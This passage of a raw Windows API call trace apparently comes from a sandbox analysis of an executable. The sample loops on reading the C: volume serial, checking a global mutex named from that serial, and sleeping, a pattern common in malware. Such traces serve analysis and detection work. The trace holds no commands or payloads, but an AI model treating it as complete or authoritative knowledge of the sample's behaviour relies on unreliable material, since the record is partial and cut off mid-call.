0x4 [0281.189] GetProcessHeap () returned 0xaf0000 [0281.189] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0c030 | out: hHeap=0xaf0000) returned 1 [0281.190] GetProcessHeap () returned 0xaf0000 [0281.190] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0c0f8 | out: hHeap=0xaf0000) returned 1 [0281.190] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x29afdb0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29afdb0*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0281.190] GetProcessHeap () returned 0xaf0000 [0281.190] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0c170 | out: hHeap=0xaf0000) returned 1 [0281.190] GetProcessHeap () returned 0xaf0000 [0281.190] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x40) returned 0xafde58 [0281.190] GetProcessHeap () returned 0xaf0000 [0281.190] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x8, Size=0x3a) returned 0xafe200 [0281.190] GetProcessHeap () returned 0xaf0000 [0281.190] RtlReAllocateHeap (Heap=0xaf0000, Flags=0x0, Ptr=0xafe200, Size=0x72) returned 0xbb7c10 [0281.190] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000000") returned 0x308 [0281.190] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x0) returned 0x102 [0281.191] CloseHandle (hObject=0x308) returned 1 [0281.191] GetProcessHeap () returned 0xaf0000 [0281.191] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xafde58 | out: hHeap=0xaf0000) returned 1 [0281.191] GetProcessHeap () returned 0xaf0000 [0281.191] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xbb7c10 | out: hHeap=0xaf0000) returned 1 [0281.191] Sleep (dwMilliseconds=0x3e8) [0282.573] GetProcessHeap () returned 0xaf0000 [0282.573] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x20) returned 0xb0c0f8 [0282.573] GetProcessHeap () returned 0xaf0000 [0282.573] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x8, Size=0x1e) returned 0xb0c030 [0282.573] GetProcessHeap () returned 0xaf0000 [0282.573] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x1e) returned 0xb0c0a8 [0282.574] GetProcessHeap () returned 0xaf0000 [0282.574] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x90) returned 0x3653978 [0282.574] GetProcessHeap () returned 0xaf0000 [0282.574] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3653978 | out: hHeap=0xaf0000) returned 1 [0282.574] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xb0c030, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0282.574] GetProcessHeap () returned 0xaf0000 [0282.574] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0c0a8 | out: hHeap=0xaf0000) returned 1 [0282.574] GetProcessHeap () returned 0xaf0000 [0282.574] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0c0f8 | out: hHeap=0xaf0000) returned 1 [0282.574] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x29afdb0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29afdb0*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0282.574] GetProcessHeap () returned 0xaf0000 [0282.574] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0c030 | out: hHeap=0xaf0000) returned 1 [0282.574] GetProcessHeap () returned 0xaf0000 [0282.574] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x40) returned 0xafdc60 [0282.574] GetProcessHeap () returned 0xaf0000 [0282.574] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x8, Size=0x3a) returned 0xafdcf0 [0282.574] GetProcessHeap () returned 0xaf0000 [0282.575] RtlReAllocateHeap (Heap=0xaf0000, Flags=0x0, Ptr=0xafdcf0, Size=0x72) returned 0xbb7510 [0282.575] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000000") returned 0x300 [0282.575] WaitForSingleObject (hHandle=0x300, dwMilliseconds=0x0) returned 0x102 [0282.575] CloseHandle (hObject=0x300) returned 1 [0282.575] GetProcessHeap () returned 0xaf0000 [0282.575] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xafdc60 | out: hHeap=0xaf0000) returned 1 [0282.575] GetProcessHeap () returned 0xaf0000 [0282.575] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xbb7510 | out: hHeap=0xaf0000) returned 1 [0282.575] Sleep (dwMilliseconds=0x3e8) [0283.653] GetProcessHeap () returned 0xaf0000 [0283.654] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x20) returned 0xb0c170 [0283.654] GetProcessHeap () returned 0xaf0000 [0283.654] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x8, Size=0x1e) returned 0xb0bf68 [0283.654] GetProcessHeap () returned 0xaf0000 [0283.654] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x1e) returned 0xb0c080 [0283.654] GetProcessHeap () returned 0xaf0000 [0283.654] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x90) returned 0x3653bd8 [0283.654] GetProcessHeap () returned 0xaf0000 [0283.654] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3653bd8 | out: hHeap=0xaf0000) returned 1 [0283.654] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xb0bf68, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0283.654] GetProcessHeap () returned 0xaf0000 [0283.654] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0c080 | out: hHeap=0xaf0000) returned 1 [0283.654] GetProcessHeap () returned 0xaf0000 [0283.655] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0c170 | out: hHeap=0xaf0000) returned 1 [0283.655] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x29afdb0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29afdb0*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0283.655] GetProcessHeap () returned 0xaf0000 [0283.655] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0bf68 | out: hHeap=0xaf0000) returned 1 [0283.655] GetProcessHeap () returned 0xaf0000 [0283.655] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x40) returned 0xafdd38 [0283.655] GetProcessHeap () returned 0xaf0000 [0283.655] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x8, Size=0x3a) returned 0xafe200 [0283.655] GetProcessHeap () returned 0xaf0000 [0283.655] RtlReAllocateHeap (Heap=0xaf0000, Flags=0x0, Ptr=0xafe200, Size=0x72) returned 0xbb7790 [0283.655] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000000") returned 0x304 [0283.656] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x0) returned 0x102 [0283.656] CloseHandle (hObject=0x304) returned 1 [0283.656] GetProcessHeap () returned 0xaf0000 [0283.656] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xafdd38 | out: hHeap=0xaf0000) returned 1 [0283.656] GetProcessHeap () returned 0xaf0000 [0283.656] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xbb7790 | out: hHeap=0xaf0000) returned 1 [0283.656] Sleep (dwMilliseconds=0x3e8) [0286.289] GetProcessHeap () returned 0xaf0000 [0286.289] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x20) returned 0xb0c030 [0286.289] GetProcessHeap () returned 0xaf0000 [0286.292] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x8, Size=0x1e) returned 0xb0c210 [0286.292] GetProcessHeap () returned 0xaf0000 [0286.292] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x1e) returned 0xb0c2d8 [0286.292] GetProcessHeap () returned 0xaf0000 [0286.292] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x90) returned 0x3653da0 [0286.292] GetProcessHeap () returned 0xaf0000 [0286.292] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3653da0 | out: hHeap=0xaf0000) returned 1 [0286.292] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xb0c210, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0286.293] GetProcessHeap () returned 0xaf0000 [0286.293] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0c2d8 | out: hHeap=0xaf0000) returned 1 [0286.293] GetProcessHeap () returned 0xaf0000 [0286.293] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0c030 | out: hHeap=0xaf0000) returned 1 [0286.293] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x29afdb0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29afdb0*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0286.423] GetProcessHeap () returned 0xaf0000 [0286.423] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0c210 | out: hHeap=0xaf0000) returned 1 [0286.423] GetProcessHeap () returned 0xaf0000 [0286.423] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x40) returned 0xafe290 [0286.423] GetProcessHeap () returned 0xaf0000 [0286.423] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x8, Size=0x3a) returned 0xafdc60 [0286.423] GetProcessHeap () returned 0xaf0000 [0286.423] RtlReAllocateHeap (Heap=0xaf0000, Flags=0x0, Ptr=0xafdc60, Size=0x72) returned 0xbb7290 [0286.423] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000000") returned 0x2fc [0286.423] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x0) returned 0x102 [0286.423] CloseHandle (hObject=0x2fc) returned 1 [0286.423] GetProcessHeap () returned 0xaf0000 [0286.423] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xafe290 | out: hHeap=0xaf0000) returned 1 [0286.423] GetProcessHeap () returned 0xaf0000 [0286.423] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xbb7290 | out: hHeap=0xaf0000) returned 1 [0286.423] Sleep (dwMilliseconds=0x3e8) [0287.867] GetProcessHeap () returned 0xaf0000 [0287.867] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x20) returned 0xb0c030 [0287.867] GetProcessHeap () returned 0xaf0000 [0287.867] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x8, Size=0x1e) returned 0xb0bf68 [0287.867] GetProcessHeap () returned 0xaf0000 [0287.867] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x1e) returned 0xb0c0a8 [0287.867] GetProcessHeap () returned 0xaf0000 [0287.867] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x90) returned 0x3653c70 [0287.867] GetProcessHeap () returned 0xaf0000 [0287.868] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3653c70 | out: hHeap=0xaf0000) returned 1 [0287.868] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xb0bf68, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0287.868] GetProcessHeap () returned 0xaf0000 [0287.868] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0c0a8 | out: hHeap=0xaf0000) returned 1 [0287.868] GetProcessHeap () returned 0xaf0000 [0287.868] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0c030 | out: hHeap=0xaf0000) returned 1 [0287.868] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x29afdb0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29afdb0*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0287.868] GetProcessHeap () returned 0xaf0000 [0287.868] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0bf68 | out: hHeap=0xaf0000) returned 1 [0287.868] GetProcessHeap () returned 0xaf0000 [0287.868] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x40) returned 0xafe200 [0287.868] GetProcessHeap () returned 0xaf0000 [0287.868] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x8, Size=0x3a) returned 0xafe248 [0287.868] GetProcessHeap () returned 0xaf0000 [0287.868] RtlReAllocateHeap (Heap=0xaf0000, Flags=0x0, Ptr=0xafe248, Size=0x72) returned 0xbb7290 [0287.868] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000000") returned 0x310 [0287.869] WaitForSingleObject (hHandle=0x310, dwMilliseconds=0x0) returned 0x102 [0287.869] CloseHandle (hObject=0x310) returned 1 [0287.869] GetProcessHeap () returned 0xaf0000 [0287.869] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xafe200 | out: hHeap=0xaf0000) returned 1 [0287.869] GetProcessHeap () returned 0xaf0000 [0287.869] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xbb7290 | out: hHeap=0xaf0000) returned 1 [0287.869] Sleep (dwMilliseconds=0x3e8) [0289.215] GetProcessHeap () returned 0xaf0000 [0289.215] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x20) returned 0xb0c030 [0289.215] GetProcessHeap () returned 0xaf0000 [0289.215] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x8, Size=0x1e) returned 0xb0c288 [0289.215] GetProcessHeap () returned 0xaf0000 [0289.215] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x1e) returned 0xb0bf68 [0289.215] GetProcessHeap () returned 0xaf0000 [0289.215] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x90) returned 0x36535e8 [0289.215] GetProcessHeap () returned 0xaf0000 [0289.215] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36535e8 | out: hHeap=0xaf0000) returned 1 [0289.216] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xb0c288, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0289.216] GetProcessHeap () returned 0xaf0000 [0289.216] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0bf68 | out: hHeap=0xaf0000) returned 1 [0289.216] GetProcessHeap () returned 0xaf0000 [0289.216] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0c030 | out: hHeap=0xaf0000) returned 1 [0289.216] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x29afdb0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29afdb0*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0289.216] GetProcessHeap () returned 0xaf0000 [0289.216] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0c288 | out: hHeap=0xaf0000) returned 1 [0289.216] GetProcessHeap () returned 0xaf0000 [0289.216] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x40) returned 0xafe200 [0289.216] GetProcessHeap () returned 0xaf0000 [0289.216] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x8, Size=0x3a) returned 0xafe248 [0289.217] GetProcessHeap () returned 0xaf0000 [0289.217] RtlReAllocateHeap (Heap=0xaf0000, Flags=0x0, Ptr=0xafe248, Size=0x72) returned 0xbb7890 [0289.217] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000000") returned 0x304 [0289.217] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x0) returned 0x102 [0289.217] CloseHandle (hObject=0x304) returned 1 [0289.217] GetProcessHeap () returned 0xaf0000 [0289.217] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xafe200 | out: hHeap=0xaf0000) returned 1 [0289.217] GetProcessHeap () returned 0xaf0000 [0289.217] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xbb7890 | out: hHeap=0xaf0000) returned 1 [0289.217] Sleep (dwMilliseconds=0x3e8) [0290.634] GetProcessHeap () returned 0xaf0000 [0290.635] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x20) returned 0xb0c030 [0290.635] GetProcessHeap () returned 0xaf0000 [0290.635] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x8, Size=0x1e) returned 0xb0c210 [0290.635] GetProcessHeap () returned 0xaf0000 [0290.635] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x1e) returned 0xb0c0a8 [0290.644] GetProcessHeap () returned 0xaf0000 [0290.644] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x90) returned 0x3653da0 [0290.644] GetProcessHeap () returned 0xaf0000 [0290.644] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3653da0 | out: hHeap=0xaf0000) returned 1 [0290.644] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xb0c210, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0290.644] GetProcessHeap () returned 0xaf0000 [0290.644] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0c0a8 | out: hHeap=0xaf0000) returned 1 [0290.644] GetProcessHeap () returned 0xaf0000 [0290.644] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0c030 | out: hHeap=0xaf0000) returned 1 [0290.644] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x29afdb0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29afdb0*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0290.645] GetProcessHeap () returned 0xaf0000 [0290.645] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0c210 | out: hHeap=0xaf0000) returned 1 [0290.645] GetProcessHeap () returned 0xaf0000 [0290.645] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x40) returned 0xafe248 [0290.645] GetProcessHeap () returned 0xaf0000 [0290.645] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x8, Size=0x3a) returned 0xafe200 [0290.645] GetProcessHeap () returned 0xaf0000 [0290.645] RtlReAllocateHeap (Heap=0xaf0000, Flags=0x0, Ptr=0xafe200, Size=0x72) returned 0xbb7e90 [0290.645] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000000") returned 0x308 [0290.646] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x0) returned 0x102 [0290.646] CloseHandle (hObject=0x308) returned 1 [0290.646] GetProcessHeap () returned 0xaf0000 [0290.646] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xafe248 | out: hHeap=0xaf0000) returned 1 [0290.646] GetProcessHeap () returned 0xaf0000 [0290.646] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xbb7e90 | out: hHeap=0xaf0000) returned 1 [0290.646] Sleep (dwMilliseconds=0x3e8) [0292.404] GetProcessHeap () returned 0xaf0000 [0292.404] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x20) returned 0xb0c288 [0292.404] GetProcessHeap () returned 0xaf0000 [0292.404] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x8, Size=0x1e) returned 0xb0c0d0 [0292.404] GetProcessHeap () returned 0xaf0000 [0292.404] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x1e) returned 0xb0c030 [0292.404] GetProcessHeap () returned 0xaf0000 [0292.404] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x90) returned 0x3653a10 [0292.404] GetProcessHeap () returned 0xaf0000 [0292.404] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3653a10 | out: hHeap=0xaf0000) returned 1 [0292.404] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xb0c0d0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0292.404] GetProcessHeap () returned 0xaf0000 [0292.404] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0c030 | out: hHeap=0xaf0000) returned 1 [0292.405] GetProcessHeap () returned 0xaf0000 [0292.405] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0c288 | out: hHeap=0xaf0000) returned 1 [0292.405] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x29afdb0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29afdb0*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0292.405] GetProcessHeap () returned 0xaf0000 [0292.405] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0c0d0 | out: hHeap=0xaf0000) returned 1 [0292.405] GetProcessHeap () returned 0xaf0000 [0292.405] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x40) returned 0xafe200 [0292.405] GetProcessHeap () returned 0xaf0000 [0292.405] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x8, Size=0x3a) returned 0xafdc60 [0292.405] GetProcessHeap () returned 0xaf0000 [0292.405] RtlReAllocateHeap (Heap=0xaf0000, Flags=0x0, Ptr=0xafdc60, Size=0x72) returned 0xbb7a10 [0292.405] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000000") returned 0x308 [0292.405] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x0) returned 0x102 [0292.405] CloseHandle (hObject=0x308) returned 1 [0292.406] GetProcessHeap () returned 0xaf0000 [0292.406] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xafe200 | out: hHeap=0xaf0000) returned 1 [0292.406] GetProcessHeap () returned 0xaf0000 [0292.406] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xbb7a10 | out: hHeap=0xaf0000) returned 1 [0292.406] Sleep (dwMilliseconds=0x3e8) [0294.283] GetProcessHeap () returned 0xaf0000 [0294.283] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x20) returned 0xb0c288 [0294.283] GetProcessHeap () returned 0xaf0000 [0294.283] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x8, Size=0x1e) returned 0xb0c2d8 [0294.283] GetProcessHeap () returned 0xaf0000 [0294.283] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x1e) returned 0xb0c030 [0294.283] GetProcessHeap () returned 0xaf0000 [0294.283] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x90) returned 0x3653258 [0294.283] GetProcessHeap () returned 0xaf0000 [0294.283] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3653258 | out: hHeap=0xaf0000) returned 1 [0294.283] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xb0c2d8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0294.283] GetProcessHeap () returned 0xaf0000 [0294.284] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0c030 | out: hHeap=0xaf0000) returned 1 [0294.284] GetProcessHeap () returned 0xaf0000 [0294.284] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0c288 | out: hHeap=0xaf0000) returned 1 [0294.284] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x29afdb0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29afdb0*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0294.284] GetProcessHeap () returned 0xaf0000 [0294.284] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0c2d8 | out: hHeap=0xaf0000) returned 1 [0294.284] GetProcessHeap () returned 0xaf0000 [0294.284] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x40) returned 0xafe200 [0294.284] GetProcessHeap () returned 0xaf0000 [0294.284] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x8, Size=0x3a) returned 0xafdd38 [0294.284] GetProcessHeap () returned 0xaf0000 [0294.284] RtlReAllocateHeap (Heap=0xaf0000, Flags=0x0, Ptr=0xafdd38, Size=0x72) returned 0xbb7790 [0294.284] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000000") returned 0x2f0 [0294.285] WaitForSingleObject (hHandle=0x2f0, dwMilliseconds=0x0) returned 0x102 [0294.285] CloseHandle (hObject=0x2f0) returned 1 [0294.285] GetProcessHeap () returned 0xaf0000 [0294.285] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xafe200 | out: hHeap=0xaf0000) returned 1 [0294.285] GetProcessHeap () returned 0xaf0000 [0294.285] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xbb7790 | out: hHeap=0xaf0000) returned 1 [0294.285] Sleep (dwMilliseconds=0x3e8) [0295.585] GetProcessHeap () returned 0xaf0000 [0295.585] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x20) returned 0xb0c210 [0295.585] GetProcessHeap () returned 0xaf0000 [0295.585] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x8, Size=0x1e) returned 0xb0c288 [0295.585] GetProcessHeap () returned 0xaf0000 [0295.585] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x1e) returned 0xb0bf68 [0295.585] GetProcessHeap () returned 0xaf0000 [0295.586] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x90) returned 0x3653848 [0295.586] GetProcessHeap () returned 0xaf0000 [0295.586] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3653848 | out: hHeap=0xaf0000) returned 1 [0295.586] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xb0c288, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0295.586] GetProcessHeap () returned 0xaf0000 [0295.586] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0bf68 | out: hHeap=0xaf0000) returned 1 [0295.586] GetProcessHeap () returned 0xaf0000 [0295.586] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0c210 | out: hHeap=0xaf0000) returned 1 [0295.586] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x29afdb0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, 